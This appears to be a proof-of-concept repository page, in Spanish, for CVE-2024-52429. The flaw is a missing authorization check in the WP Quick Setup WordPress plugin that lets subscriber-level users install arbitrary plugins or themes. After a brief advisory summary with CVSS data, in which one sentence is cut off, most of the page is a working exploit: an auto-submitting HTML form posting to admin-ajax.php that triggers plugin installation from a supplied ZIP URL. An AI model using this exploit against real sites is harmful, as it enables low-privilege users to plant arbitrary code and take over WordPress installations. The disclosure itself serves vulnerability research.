randomrobbiebf/cve-2024-52429WP Quick Setup <= 2.0 - Falta de autorización para instalación arbitraria de plugins/temas por parte de usuarios autenticados (Suscriptor+)
WP Quick Setup <= 2.0 - Falta de autorización para instalación arbitraria de plugins/temas (Autenticado+ Suscriptor)
El plugin WP Quick Setup para WordPress es vulnerable a la instalación no autorizada de plugins y temas debido a una falta de verificación de capacidad en una función en todas las versiones hasta la 2.0 inclusive. Esto lo hace
Type: plugin
CVSS Score: 8.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2024-52429
Inicie sesión como suscriptor y luego ejecute este HTML
<html>
<body>
<form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="wes_install_plugins" />
<input type="hidden" name="plugin_urls[]" value="https://downloads.wordpress.org/plugin/wdes-responsive-mobile-menu.zip" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>